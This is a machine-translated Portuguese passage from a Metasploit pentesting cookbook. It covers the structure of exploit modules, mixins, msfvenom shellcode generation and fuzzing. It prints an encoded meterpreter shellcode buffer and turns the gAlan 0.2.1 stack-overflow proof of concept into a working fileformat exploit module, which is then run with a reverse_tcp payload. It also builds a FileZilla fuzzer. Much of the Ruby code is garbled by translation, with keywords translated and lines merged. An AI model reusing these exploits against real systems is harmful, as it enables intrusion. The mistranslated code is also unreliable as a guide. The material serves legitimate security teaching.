uma situação em que você precise de uma exploração específica que não esteja na estrutura. O conhecimento
sobre a estrutura do módulo exploit irá ajudá-lo a converter facilmente o exploit em um módulo.

Preparando-se
Vamos começar a receita com a compreensão da estrutura modular de exploits dentro da estrutura. É
semelhante a uma estrutura auxiliar com alguns campos específicos. Você pode encontrar os módulos de
exploração no diretório /pentest/exploits/framework3 . Vamos analisar a estrutura dos exploits no MSF.

Como fazer isso...


Como dissemos anteriormente, o formato de um módulo exploit é semelhante ao auxiliar com algumas
adições específicas:

requer 'msf/núcleo'

class Metasploit3 < Msf::Exploit::Remote


Classificação = Excelente Classificação

include Msf::Exploit::Remote::Tcp include


Msf::Exploit::EXE

O módulo começa incluindo as bibliotecas principais do MSF no script, juntamente com a declaração de
uma classe que estende as propriedades relevantes para o exploit. Neste exemplo, a classe Metasploit3 estende
as bibliotecas Remote Exploit . Além disso, o script inclui outras bibliotecas, como TCP:

def initialize(info = {}) super(update_info(info,

'Nome' => '',


'Descrição')

192
Machine Translated by Google

Capítulo 8

Então, temos a função initialize que é usada para inicializar os diferentes valores e definição
de conteúdo sobre os módulos. Algumas das definições principais dessa função incluem Nome,
Descrição, Autor, Versão e assim por diante:

opções_cadastrar(
[
Opt::RPORT(7777), ],
self.class)
fim

Em seguida, temos a parte de opções de registro do script que é responsável por fornecer os valores
essenciais e padrão do script. Os valores também podem ser alterados de acordo com a necessidade do
usuário. Até agora, tem sido muito semelhante aos módulos auxiliares. A diferença está na definição da
função exploit() :

exploração def
conectar()
sock.put(payload.encoded) manipulador()
desconectar()

fim

Este é o principal corpo de exploração do módulo que contém o código shell ou o padrão de exploração.
O conteúdo desta função varia de exploit para exploit. Alguns dos principais recursos que podem existir em uma
exploração remota estão listados no corpo da função. connect() é usado para abrir uma conexão remota com o
alvo. É uma função definida na biblioteca Remote::TCP . Uma carga útil também é uma parte essencial do exploit
body, que ajuda na configuração de conexões de retorno. Também podemos definir manipuladores no corpo do
exploit, dependendo da necessidade.

Opcionalmente, você também pode declarar uma função de teste de vulnerabilidade, check(), que verifica se o alvo
é vulnerável ou não. Ele verifica todas as opções, exceto a carga útil.

Esta foi uma introdução básica para explorar os módulos do Metasploit. Nas receitas posteriores, discutiremos
alguns conceitos básicos relacionados a exploits na estrutura.

Como funciona...
A estrutura do módulo exploit que acabamos de analisar é a maneira do Metasploit de tornar as coisas
compreensíveis. Considere a função def initialize(). Esta parte ajuda o módulo a selecionar definições comuns
de exploração. Da mesma forma, register_options() é usado pelo Metasploit para selecionar parâmetros
diferentes ou atribuir valores de parâmetro padrão ao módulo de exploração. É aqui que a arquitetura modular se
torna útil. Mais adiante neste capítulo, veremos como converter um código de exploração existente em um módulo
Metasploit.

193
Machine Translated by Google

Trabalhando com exploits

Mixins de exploração comuns


Mixins são um mecanismo abrangente na linguagem Ruby para incluir funcionalidade em um módulo. Mixins
fornecem uma maneira de ter herança múltipla em uma linguagem de herança única como Ruby. O uso de mixins
em módulos de exploração pode ajudar a chamar diferentes funções que a exploração exigirá. Nesta receita,
aprenderemos sobre alguns mixins de exploração importantes do Metasploit.

Como fazer isso...


Vamos dar uma olhada rápida em alguns dos mixins de exploração comuns. Em seguida, veremos sua
implementação em um módulo de exploração existente.

f Exploit::Remote::TCP: Este mixin fornece funcionalidade TCP para o módulo.


Ele pode ser usado para configurar uma conexão TCP. As funções connect() e desconexão()
são responsáveis por configurar e encerrar conexões, respectivamente.
Requer parâmetros diferentes, como RHOST, RPORT, SSL.
f Exploit::Remote::UDP: Este mixin é usado para funcionalidade UDP no módulo.
O UDP geralmente é tratado como um modo mais rápido de conectividade sobre o TCP,
portanto, também pode ser uma opção útil ao lidar com módulos. Este mixin inclui ainda
Rex::Socket::UDP , que remove a sobrecarga de se preocupar com a configuração de conexões de
soquete com o destino.

f Exploit::Remote::DCERPC: Este mixin fornece métodos utilitários para interagir com um


serviço DCE/RPC em uma máquina remota. Os métodos deste mixin são geralmente
úteis no contexto de exploração. Este mixin estende o mixin TCP. dcerpc_call(),
dcerpc_bind() e assim por diante são algumas funções úteis do mixin DCE/RPC.

f Exploit::Remote::SMB: Este mixin define funções que podem ajudar


comunicando-se com o serviço SMB no destino remoto. smb_login(), smb_create() e assim
por diante são algumas funções úteis presentes neste mixin.

f Exploit::BruteTargets: Este é um mixin interessante que é usado para


forçar o alvo. Ele usa a função exploit_target(target) para receber o IP de destino remoto e executar
a força bruta. Este mixin pode ser facilmente estendido em diferentes explorações de força bruta.

f Exploit::Remote::FTP: Este mixin pode ser usado para explorar um serviço FTP no alvo remoto. O mixin
inclui Remote::TCP para configurar uma conexão com o alvo remoto. Ele usa a função connect() que
recebe valores de RHOST e RPORT para se conectar com o servidor FTP no sistema remoto.

f Exploit::Remote::MSSQL: Este mixin ajuda na consulta com o banco de dados remoto.


A função Mssql_ping() consulta a disponibilidade do banco de dados e armazena a resposta do ping como
hash. A função Mssql_xpcmdshell() é usada para executar comandos do sistema usando xp_cmdshell.
Este mixin é muito útil ao lidar com exploits relacionados ao MS SQL.

194
Machine Translated by Google

Capítulo 8

f Exploit::Capture: Este mixin é útil para farejar pacotes de dados que fluem no
rede. A função open_pcap() é usada para configurar um dispositivo para capturar pacotes que fluem
através dele. Este mixin requer a presença do pcap instalado na máquina.
Duas funções importantes deste mixin incluem inject(pkt="", pcap=self. capture) e inject_reply().
O primeiro é responsável por injetar pacotes em dispositivos de rede, enquanto a última função é
responsável por relatar o pacote resultante retornado pelo dispositivo, dependendo do pacote injetado.

Estes são alguns dos mixins de exploração importantes que podem ser muito úteis quando você está trabalhando
com módulos de exploração dentro da estrutura. O uso de mixins reduz a sobrecarga de recodificar os mesmos
módulos repetidamente. Esta é a razão pela qual a arquitetura modular é muito flexível, pois facilita a reutilização
de código.

Como funciona...
Como afirmado anteriormente, mixins são usados para fornecer herança múltipla em uma linguagem de
herança única como Ruby. O que queremos dizer com isso é que podemos chamar diferentes
funcionalidades em qualquer módulo dependendo da nossa necessidade. Por exemplo, se quisermos
estabelecer uma conexão TCP em nosso módulo de exploração, não é necessário definir uma função
completa para ele. Podemos simplesmente chamar o mixin, Exploit::Remote::TCP, em nosso módulo e aproveitar sua funcionalidade.

Tem mais...
Vamos listar alguns mixins mais importantes.

Mais alguns mixins


Além dos mixins mencionados anteriormente, existem muitos outros mixins cruciais presentes
no framework. Estes incluem formato de arquivo, imap, java, smtp, ela e assim por diante. Você
pode encontrar esses mixins em lib/msf/core/exploit.

Trabalhando com msfvenom


Lemos sobre mefencode e msfpayload no Capítulo 4, Exploração do lado do cliente e desvio de antivírus. Façamos
uma pequena recapitulação. msfpayload é usado para gerar binário a partir da carga útil, enquanto msfencode é
usado para codificar o binário usando diferentes técnicas de codificação. Aqui vamos discutir outra ferramenta
Metasploit que é uma combinação de ambos.
Essa ferramenta pode desempenhar um papel importante na geração de explorações que podem ser executadas furtivamente.

Preparando-se
Para iniciar nosso experimento com msfvenom, abra a janela do terminal e passe o comando msfvenom
–h .

195
Machine Translated by Google

Trabalhando com exploits

Como fazer isso...


Vamos dar uma olhada em várias opções disponíveis:

root@bt:~# msfvenom -h

Uso: /opt/framework/msf3/msfvenom [opções]

Opções:

-p, --payload stdin para [carga útil] Carga útil a ser usada. Especifique um '-' ou
usar custom..

-l, --list [module_type] Lista um exemplo de tipo de módulo: payloads, encoders, nops, all

-n, --nopsleva para a [comprimento] Prepend um nopsled de tamanho [comprimento]


carga útil

-f, --format [formato] ruby, rb, perl, pl, bash.. Formato para saída de resultados em: raw,

-e, --codificador [codificador] O codificador a ser usado

-a, --arch [arquitetura] A arquitetura a ser usada

-s, --carga útil do [comprimento] O tamanho máximo do resultado


espaço

-b, --bad-chars [lista] exemplo: '\x00\xff' A lista de personagens a evitar

-i, --iterations [contagem] O número de vezes para codificar o


carga útil

-c, --add-code [caminho] Especifique um win32 adicional


arquivo shellcode para incluir

-x, --template [caminho] usar como Especifique um arquivo executável personalizado para
modelo

-k, --keep injeta o Preservar o comportamento do modelo e


payload como..

-h, --ajuda Mostrar esta mensagem

Existem alguns parâmetros interessantes a serem observados. O parâmetro –n cria um NOP sled do
tamanho da carga útil. Outro parâmetro interessante é –b , que nos dá o poder de evitar caracteres comuns
de um exploit como \x00. Isso pode ser muito útil para evitar programas antivírus. O resto dos parâmetros
são semelhantes aos que podemos encontrar em msfpayload e msfencode.

Um NOP slide, NOP sled ou NOP ramp é uma sequência de instruções NOP
(sem operação) destinadas a "deslizar" o fluxo de execução de instruções da
CPU para seu destino final desejado.

196
Machine Translated by Google

Capítulo 8

Como funciona...
Para usar msfvenom, teremos que passar um payload junto com um estilo de codificação. Vamos executar esta tarefa na
janela do terminal:

root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3

[*] x86/shikata_ga_nai teve sucesso com tamanho 325 (iteração=1) [*] x86/shikata_ga_nai
teve sucesso com tamanho 352 (iteração=2) [*] x86/shikata_ga_nai teve sucesso com
tamanho 379 (iteração=3)
buf =

"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +
"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +
"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +
"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +
"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +

Observe os diferentes parâmetros que foram passados junto com a carga útil. A presença do parâmetro –b evitará o
uso de \x00 (bytes nulos) no código shell. Podemos usar esse código shell em nosso programa de exploração.

msfvenom pode ser uma ferramenta muito útil para gerar rapidamente códigos de shell usando diferentes cargas úteis
disponíveis na estrutura. Esses códigos de shell podem ser implementados no código de exploração para fornecer
conexão reversa com o invasor assim que a vulnerabilidade for explorada.

Convertendo o exploit em um módulo Metasploit


Até agora, usamos módulos de exploração para comprometer nosso alvo. Nesta receita, levaremos nossa
experiência de uso do módulo para o próximo nível. Tentaremos desenvolver um módulo de exploração completo
usando uma prova de conceito disponível. O conhecimento da conversão de explorações em um módulo é essencial
para converter qualquer nova exploração em um módulo de estrutura e realizar testes de penetração sem esperar que
as atualizações venham da equipe do Metasploit. Além disso, não é possível que todos os exploits estejam disponíveis
na forma de um módulo dentro da estrutura.
Então, vamos seguir em frente com a receita e ver como podemos construir nossos próprios módulos de
exploração usando um PoC disponível.

197
Machine Translated by Google

Trabalhando com exploits

Preparando-se
Para começar, vamos selecionar qualquer exploit que possamos converter em um módulo. Vamos considerar o exploit
gAlan Zero day que pode ser baixado de http://www.exploit-db.com/exploits/10339.

gAlan é uma ferramenta de processamento de áudio (on-line e off-line) para X Windows e Win32.
Ele permite que você construa sintetizadores, cadeias de efeitos, mixers, sequenciadores, baterias eletrônicas e
assim por diante de forma modular, vinculando ícones que representam componentes primitivos de processamento
de áudio.

Uma exploração para gAlan funcionará apenas quando a vítima estiver usando esse aplicativo e o invasor tiver conhecimento
disso de antemão. Portanto, é imperativo que o invasor saiba quais aplicativos estão instalados na máquina da vítima.

Como fazer isso...


Antes de começarmos com a conversão do exploit, é imperativo conhecer um pouco sobre os ataques Stack
Overflow.

No software, um estouro de pilha ocorre quando muita memória é usada na pilha de chamadas. A pilha de chamadas é a
pilha de tempo de execução do software que contém uma quantidade limitada de memória, geralmente determinada no início
do programa. O tamanho da pilha de chamadas depende de muitos fatores, incluindo a linguagem de programação,
arquitetura da máquina, multiencadeamento e quantidade de memória disponível. Quando um programa tenta usar mais
espaço do que o disponível na pilha de chamadas, diz-se que a pilha estourou, normalmente resultando na falha do
programa. Essencialmente, ESP, EIP e EAX são os registros mais atacados durante uma exploração.

f ESP: aponta para o topo da pilha


f EIP: aponta para a localização da próxima instrução

f EAX: A instrução a ser executada

Como em uma pilha todos os registradores são armazenados linearmente, precisamos saber o tamanho exato do
buffer do registrador EIP , para que o estouro dele nos forneça o EAX e a subsequente execução do payload.

Assim que tivermos a prova de conceito do exploit, o próximo passo será coletar o máximo possível de informações
sobre o exploit. Vamos dar uma boa olhada na prova de conceito.
As primeiras linhas consistem no shellcode armazenado na variável $shellcode .
Isso pode ser gerado usando qualquer uma das cargas disponíveis na estrutura usando msfpayload ou msfvenom:

$magic = "Mjik"; =
$addr 0x7E429353; # JMP ESP @ user32,dll
$filename = "bof.galan";

198
Machine Translated by Google

Capítulo 8

$retaddr = pack('l', $addr); $carga útil =


$mágica . $ retaddr x 258 . "\x90" x 256 . $shellcode;

O código principal do exploit começa com $magic , que contém uma string de quatro bytes. Em seguida, temos
a variável $addr que contém a localização do ponteiro da pilha ESP . Então temos a variável $filename contendo
o nome do arquivo a ser criado como uma fase de pós-exploração. $retaddr contém a localização do endereço
de retorno para onde o ponteiro da pilha apontará e levará à execução do código de exploração após o estouro.
Por fim, temos a execução do payload, que é responsável pela exploração e execução do shellcode.

Sabemos pelo exploit que nosso shellcode pode atingir no máximo 700 bytes.
Além disso, o comprimento total de nossa carga útil é de 1214 bytes. Esta informação será útil na
construção do nosso módulo.

Podemos usar um endereço de retorno repetido ou também podemos encontrar o tamanho quando o EIP
for substituído. Metasploit tem uma excelente ferramenta chamada pattern_create.rb que pode ajudar a encontrar
o local exato onde o EIP é substituído. Essa ferramenta gera uma sequência de padrões exclusivos que podem
ser passados para o código de exploração e usando um depurador; podemos descobrir qual padrão de string está
armazenado no EIP. Vamos criar uma string de 5000 caracteres:

root@bt:/ pentest/exploits/framework3/tools# ./pattern_create.rb

Uso: pattern_create.rb length [set a] [set b] [set c]

root@bt:/ pentest/exploits/framework3/tools# ./pattern_create.rb 5000

Agora, edite o script de exploit para substituir $payload por outra variável de teste $junk e copie a string de 5000
caracteres nesta variável. Agora, teste a aplicação com este script e verifique qual padrão está armazenado no
EIP. Presumo que você esteja ciente dos fundamentos da reversão e depuração de aplicativos. Suponha que o
padrão de string armazenado no EIP seja "234abc".
Agora vamos usar outra ferramenta do Metasploit chamada pattern_offset.rb para calcular a posição onde
esse padrão existe na string que passamos:

root@bt:/ pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc


5000

1032

Portanto, o número total de bytes a serem passados para obter a localização exata do EIP é 1032.

Agora coletamos informações suficientes sobre o exploit e estamos prontos para convertê-lo em um módulo
Metasploit.

199
Machine Translated by Google

Trabalhando com exploits

Como funciona...
Vamos começar a construir nosso módulo. A primeira e principal linha de script será importar bibliotecas e criar a
classe pai. Em seguida, definiremos a função initialize() que conterá informações sobre o exploit e também opções
de cadastro:

requerem classe 'msf/core'


Metasploit3 < Msf::Exploit::Remote include
Msf::Exploit::FILEFORMAT def initialize(info = {})
super(update_info(info, 'Name' => 'gAlan 0.2.1 Buffer
Overflow

Explorar',
'Descrição' => %q{
Este módulo explora um estouro de pilha em gAlan
0.2.1
Ao criar um arquivo galan especialmente criado,
um invasor pode ser capaz
para executar código arbitrário.
},
'Licença' => MSF_LICENSE,
'Autor' => ['original de Jeremy Brown'],
'Versão' => '$Revisão: 7724 $',
'Referências' =>
[
[ 'URL', 'http://www.exploit
db.com/exploits/10339' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'processo',
},
'Carga útil' => {

'Espaço' => 1000,


'BadChars' => "\x00\x0a\x0d\
x20\x0c\x0b\x09",
'StackAdjustment' => -3500,
},
'Plataforma' => 'ganhar',
'Alvos' => [

[ 'Windows XP Universal', { 'Ret' => 0x100175D0} # 0x100175D0 call esi @


], glib-1_3 ],

200
Machine Translated by Google

Capítulo 8

'Privilegiado' => falso,

'DefaultTarget' => 0)) register_options(

[
OptString.new('FILENAME', [ false, 'O nome
do arquivo.', 'evil.galan']),
], self.class)
fim

Até agora, foi simples e direto. A reviravolta começa com a definição da função exploit() . Vamos ver
como podemos fazer isso.

Começaremos com os primeiros quatro bytes do script de exploração original, ou seja, $magic =
"Cidade";

Ele será substituído por sploit = "Mjik" em nosso módulo.

Então, avançamos e construímos nosso buffer. Como encontramos a posição onde o EIP foi
substituído, podemos substituir o valor do endereço de retorno repetido por:

sploit << rand_text_alpha_upper(1028); sploit <<


[target.ret].pack('V');

Então, teremos que adicionar nosso slide nop. Portanto, essa parte do script de exploração
muda para a seguinte linha no módulo:

sploit << "\x90" * 45

Por fim, construímos o shellcode completo:

sploit << payload.encoded

Finalmente, podemos combinar essas linhas de script na função exploit() .

exploração def
sploit = "Mjik" sploit <<
rand_text_alpha_upper(1028) sploit << [target.ret].pack('V')
sploit << "\x90" * 45 sploit << payload.encoded galan = sploit
print_status("Criando ' #{datastore['FILENAME']}' arquivo

...")
file_create(galan)
fim

201
Machine Translated by Google

Trabalhando com exploits

Esta foi uma demonstração curta e simples de como podemos converter um exploit existente em um módulo
Metasploit. O nível de dificuldade desse processo pode variar de exploit para exploit. A melhor maneira de aprender
mais sobre isso é visualizando os módulos de exploração disponíveis na biblioteca Metasploit.
Na próxima receita, aprenderemos como portar esse módulo de exploração no framework para que possamos usá-
lo para testes de penetração.

Portando e testando o novo módulo de exploração


Na receita anterior, aprendemos como desenvolver um módulo de exploração completo para o Metasploit usando a
prova de conceito disponível. Nesta receita, vamos salvar o módulo em um local apropriado e depois testá-lo para
ver se está tudo certo.

Preparando-se
É muito importante cuidar da pasta onde vamos armazenar nosso módulo de exploração.
Isso pode ajudá-lo a acompanhar os diferentes módulos e também facilita a estrutura na compreensão do uso básico
do módulo. Agora que você tem o script do módulo completo, vamos descobrir um local apropriado para salvá-lo.

Como fazer isso...


Como este é um módulo de exploração, visando o sistema operacional Windows que afeta um formato de
arquivo específico, teremos que selecionar o local do módulo de acordo. Olhando para o diretório modules/
exploits/windows, você pode encontrar uma pasta específica para os módulos de exploração de formato
de arquivo . Este é o local onde podemos salvar nosso módulo.
Vamos salvá-lo como galan_fileformat_bof.rb.

Como funciona...
A próxima e última tarefa será verificar se nosso módulo está funcionando bem ou não. Já trabalhamos muito
com módulos até agora, então esta etapa será fácil. Seguiremos o mesmo processo que usamos até agora:

msf > use exploit/windows/fileformat/galan_fileformat_bof

msf exploit(galan_fileformat_bof) > definir PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(galan_fileformat_bof) > definir LHOST 192.168.56.101

msf exploit(galan_fileformat_bof) > exploit

202
Machine Translated by Google

Capítulo 8

Depois que o comando exploit for passado, o módulo executará e criará um arquivo que pode ser usado para causar um
estouro na máquina de destino.

Isso conclui nosso processo de criação e execução do módulo. Você deve ter percebido que o processo é simples. O
verdadeiro esforço está na conversão adequada de scripts de exploração em um módulo de estrutura. Você pode
depurar ou modificar qualquer módulo existente de acordo com sua necessidade.
Você também pode enviar qualquer módulo recém-criado para a comunidade Metasploit para ajudar outras pessoas a
se beneficiarem dele.

Fuzzing com Metasploit


O teste Fuzz ou Fuzzing é uma técnica de teste de software que consiste em encontrar bugs de
implementação usando injeção aleatória de dados. Os scripts Fuzz geram dados malformados e os passam para a entidade
de destino específica para verificar sua capacidade de estouro. O Metasploit fornece vários módulos fuzzing que podem ser
úteis no desenvolvimento de exploits. Vamos explorar mais sobre os fundamentos do fuzzing e como os módulos do
Metasploit podem ser usados como potenciais fuzzers.

Preparando-se
Antes de pularmos para os módulos fuzzer do Metasploit, vamos ter uma breve visão geral do fuzzing e seus
tipos.

Fuzzing é tratado como uma técnica de teste de caixa preta onde testamos a capacidade máxima de estouro do software.
Fuzzing é usado ativamente para encontrar bugs em aplicativos.

Fuzzers podem ser usados para testar software, protocolos e formatos de arquivo. Fuzzers automatizam o
processo de geração e injeção de dados. Podemos controlar o tamanho dos dados ou pacotes a serem injetados.

Um fuzzer tentaria combinações de ataques em:

f Números (inteiros com/sem sinal, float e assim por diante) f Caracteres

(URLs e entradas de linha de comando)

f Metadados: texto inserido pelo usuário (a tag id3 )

f Sequências binárias puras

Dependendo do tipo de aplicativo ou protocolo que desejamos, podemos configurar nosso fuzzer para gerar dados/
pacotes para testar seu estouro. O Metasploit contém vários módulos fuzzer que podem ser usados para testar
aplicativos e protocolos contra testes de caixa preta.
Esses módulos podem ser localizados em módulos/auxiliares/fuzzers. Vamos analisar a implementação desses
módulos.

203
Machine Translated by Google

Trabalhando com exploits

Como fazer isso...


Vamos experimentar um módulo fuzzer baseado em protocolo. O Metasploit possui um módulo FTP
chamado client_ftp.rb que atua como um servidor FTP e envia respostas para o cliente FTP:

msf > use auxiliar/fuzzers/ftp/client_ftp

msf auxiliar(client_ftp) > mostrar opções

Opções do módulo:

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

CÍCLICO verdadeiro sim Em vez disso, use o padrão Cíclico.

TAMANHO FINAL 200000 sim Tamanho máximo da string Fuzzing.


ERRO falso sim Responder apenas com códigos de erro

EXTRALINE verdadeiro sim Adicione CRLFs extras em ..

FUZZCMDS LISTA.. sim Lista separada por vírgula..

REINICIAR verdadeiro sim Reinicie os valores de fuzzing após..

SRVHOST 0.0.0.0 sim O host local para ouvir.

SRVPORT 21 sim A porta local para escutar.

SSL falso não Negociar SSL para entrada..

SSLVersão SSL3 não Especifique a versão do SSL..

STARTSIZE 1000 sim Fuzzing string startize.

TAMANHO DO PASSO 1000 sim Incrementar string fuzzing..

Você pode ver que existem muitos parâmetros interessantes disponíveis para nós. Vamos descobrir qual
funcionalidade cada parâmetro contém.

f A opção CYCLIC é usada para configurar um padrão cíclico como dados fuzz. Isso é feito para
determinar deslocamentos, pois cada quarto byte de string é exclusivo. Se for definido como falso,
o fuzzer usará uma string de A's como dados fuzz.

f A opção ENDSIZE define o comprimento máximo de dados fuzz para enviar de volta para o
cliente FTP. Por padrão, é definido como 20.000 bytes.

f A opção ERROR , se definida como true, responderá ao cliente FTP usando códigos de erro. f A

opção EXTRALINE é um teste fuzz para listagem de diretórios. Alguns clientes FTP podem travar
se uma solicitação de nome de diretório muito grande for enviada ao cliente.

204
Machine Translated by Google

Capítulo 8

f A opção FUZZCMDS permite definir qual resposta precisa ser fuzzed.


As solicitações possíveis são LIST, NLST, LS, RETR. Também podemos definir * para difundir
todos os comandos.

f A opção SRVHOST é o endereço IP onde o fuzzer se conectará com o servidor FTP.


Para uma máquina local, podemos usar 0.0.0.0.

f A opção SRVPORT é a porta do servidor FTP que é 21 por padrão.

f A opção STARTSIZE é usada para definir o comprimento inicial dos dados fuzz. f A opção STEPSIZE

é usada para definir o incremento cada vez que o estouro falha.

Deve-se ter cuidado ao trabalhar com fuzzers. Se os valores de parâmetro corretos não forem passados, o teste
fuzz poderá falhar. Você sempre pode consultar o código-fonte do módulo para entender o fuzzer profundamente.
Vamos executar nosso fuzzer de cliente FTP e ver qual saída é retornada:

msf auxiliar(client_ftp) > executar

[*] Servidor iniciado.

[*] Cliente conectado: 192.168.56.102

[*] - Configure a porta de dados ativa 20

[*] Enviando resposta para o comando 'WELCOME', arg

[*] Enviando resposta para o comando 'USER', teste arg

[*] Enviando resposta para o comando 'PASS', teste arg

[*] - Configure a porta de dados ativa 16011

[*] Enviando resposta para o comando 'PORT', arg 192,168,0,188,62,139

[*] Manipulando o comando NLST

[*] - Estabelecendo conexão de dados ativa

[*] - Conexão de dados configurada

[*] * Resposta fuzzing para LIST, tamanho da carga útil 1000

[*] (i) Configurando o próximo tamanho de carga para 2000


[*] - Envio de lista de diretórios via conexão de dados

A saída tem várias coisas a serem observadas. Em primeiro lugar, o servidor FTP é iniciado na máquina atacante.
Em seguida, ele se conecta novamente com o cliente FTP. Em seguida, ele começa a enviar diferentes comandos de
resposta para a máquina cliente. O processo de fuzzing começa com o comando NLST . Em seguida, passa para
LIST e assim por diante.

Esta foi uma pequena demonstração de como funcionam os módulos fuzzer. Na próxima receita, daremos uma
olhada mais profunda no fuzzing de protocolo construindo nosso próprio módulo de fuzzing.

205
Machine Translated by Google

Trabalhando com exploits

Como funciona...
Fuzzers criam diferentes casos de teste de acordo com a aplicação que queremos fuzz. Em nosso exemplo, o
servidor FTP pode ser fuzzed enviando pacotes de dados aleatórios e, em seguida, analisando sua resposta. Os pacotes
de dados podem difundir os seguintes atributos em uma rede:

f Cabeçalho do pacote: Fuzzers podem inserir pacotes de dados aleatórios de tamanho e valor arbitrários
nos cabeçalhos e analisar sua resposta.

f Soma de verificação do pacote: Os valores da soma de verificação também podem ser manipulados em
condições usando fuzzers.

f Tamanho do pacote: Pacotes de dados de comprimento arbitrário também podem ser enviados para a rede
aplicativo para determinar uma falha.

Depois que uma falha ou estouro é relatado, o fuzzer pode retornar seu caso de teste para fornecer os dados de estouro.

Escrevendo um fuzzer FTP simples do FileZilla


Analisamos o funcionamento dos módulos fuzzer em nossa receita anterior. Vamos dar um passo à frente
construindo nosso próprio pequeno fuzzer FTP que pode ser usado contra o servidor FTP FileZilla.

Como fazer isso...


O modelo básico para construir um fuzzer será semelhante ao que discutimos para o desenvolvimento de um
módulo auxiliar. Portanto, nosso modelo básico deve ter a seguinte aparência:

requer 'msf/núcleo'

classe Metasploit3 < Msf::Auxiliar

incluem Msf::Auxiliar::Scanner
def inicializar
super(
'Nome' => 'FileZilla Fuzzer',
'Versão' => '$Revisão: 1 $',
'Descrição' => 'Filezilla FTP fuzzer',
'Autor' => 'Abhinav_singh',
'Licença' => MSF_LICENSE
)

register_options( [ Opt::RPORT(14147), OptInt.new('STEPSIZE', [ false, "Aumentar o tamanho da


string a cada iteração com este número de caracteres",10]),

206
Machine Translated by Google

Capítulo 8

OptInt.new('ATRASO', [ false, "Atraso entre


conexões",0,5]),
OptInt.new('STARTSIZE', [ false, "Fuzzing string startsize",10]),

OptInt.new('ENDSIZE', [ false, "Fuzzing string endsize",20000])

], self.class)
fim

Portanto, importamos as bibliotecas MSF, criamos uma classe e definimos nossas opções. O próximo
passo será definir o corpo principal do fuzzer.

def run_host(ip)

udp_sock = Rex::Socket::Udp.create( 'Contexto'


=>
{
'Msf' => estrutura,
'MsfExploit' => auto,
}
)
startsize = datastore['STARTSIZE'] # fuzz tamanho dos dados para começar
com
count = datastore['STEPSIZE'] # Definir incremento de contagem enquanto count < 10000
# Enquanto a contagem estiver abaixo de 10000
correr

evil = "A" * count # Defina um número de "A"s


igual a contar
pkt = "\x00\x02" + "\x41" + "\x00" + mal + "\
x00" # Defina a carga útil
udp_sock.sendto(pkt, ip, datastore['RPORT'])
# Envia o pacote
print_status("Enviando: #{evil}") resp = udp_sock.get(1)
# Capture a contagem de respostas += 100 # Aumente a contagem em 10 e
faça um loop
fim
fim
fim

Vamos analisar o roteiro. O script começa com a criação de um soquete UDP que será necessário para
estabelecer uma conexão com o servidor FileZilla. Em seguida, declaramos as variáveis startize e count que
contêm os valores para iniciar o tamanho dos dados do fuzzer e o comprimento do incremento,
respectivamente. Em seguida, configuramos um loop no qual declaramos nossa string maligna e um formato
de carga útil que será enviado como um pacote (pkt).

207
Machine Translated by Google

Trabalhando com exploits

Em seguida, o script tenta enviar o pacote de dados para o servidor usando a função udp_sock_sendto e
sua resposta é capturada usando resp=udp_sock.get(). Além disso, a contagem do pacote é aumentada em
100 cada vez que a resposta é recebida.

Como funciona...
Para começar a trabalhar com o módulo, teremos que salvá-lo em módulos/auxiliares/fuzzers/ftp. Vamos
nomear o módulo fuzzer como filezilla_fuzzer.rb:

msf > use auxiliar/fuzzers/ftp/filezilla_fuzzer

msf auxiliar(filezilla_fuzzer) > mostrar opções

Opções do módulo (auxiliary/fuzzers/ftp/filezilla_fuzzer):

Nome Configuração atual necessária Descrição


---- --------------- -------- -----------

ATRASO 0,5 não Demora entre..


TAMANHO FINAL 20000 não Fuzzing string endize
RHOSTS sim O endereço de destino
RELATÓRIO 14147 sim A porta de destino
STARTSIZE 10 não Fuzzing string startsize Aumente o
PASSO 10 não tamanho da string..

Portanto, nosso módulo está funcionando bem e exibindo as opções disponíveis para nós. Passemos os
respectivos valores e vejamos o que acontece quando passamos o comando run :

msf auxiliar(filezilla_fuzzer) > definir RHOSTS 192.168.56.1


RHOSTS => 192.168.56.1

msf auxiliar(filezilla_fuzzer) > executar

[*] Enviando: AAAAAAAAA

[*] Enviando: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Bingo! O fuzzer começa a enviar strings para o servidor e continua o processo, a menos que o servidor falhe
ou o loop termine. Se o loop terminar antes da falha, você poderá modificar o script para enviar um comprimento
de string maior. Esta é uma demonstração simples de como usar o software Metasploit para fuzz. Geralmente não
é recomendado usar o Metasploit como uma plataforma fuzzing para grandes softwares. Temos vários frameworks
dedicados que são feitos especialmente para fuzzing de software e aplicativos.

208
Machine Translated by Google

Capítulo 8

Tem mais...
Vamos dar uma olhada rápida em uma estrutura fuzzing na qual você pode trabalhar se quiser aprimorar
seu conhecimento sobre fuzzing e explorar o desenvolvimento.

Antiparser fuzzing framework Antiparser é um


fuzzing framework escrito em python. Auxilia na criação de dados aleatórios especificamente para a
construção de fuzzers. Essa estrutura pode ser usada para desenvolver fuzzers que serão executados em
várias plataformas, pois a estrutura depende apenas da disponibilidade de um interpretador Python.

Antiparser pode ser baixado em http://sourceforge.net/projects/antiparser/.

209
Machine Translated by Google
Machine Translated by Google

9
Trabalhando com
Armitage
Neste capítulo, abordaremos:

f Introdução ao Armitage

f Verificação e coleta de informações f Localização

de vulnerabilidades e alvos de ataque

f Manipulando vários alvos usando a chave de tabulação

f Pós-exploração com Armitage f Exploração

do lado do cliente com Armitage

Introdução

Até agora, nos concentramos completamente na estrutura do Metasploit e estudamos como usar a estrutura
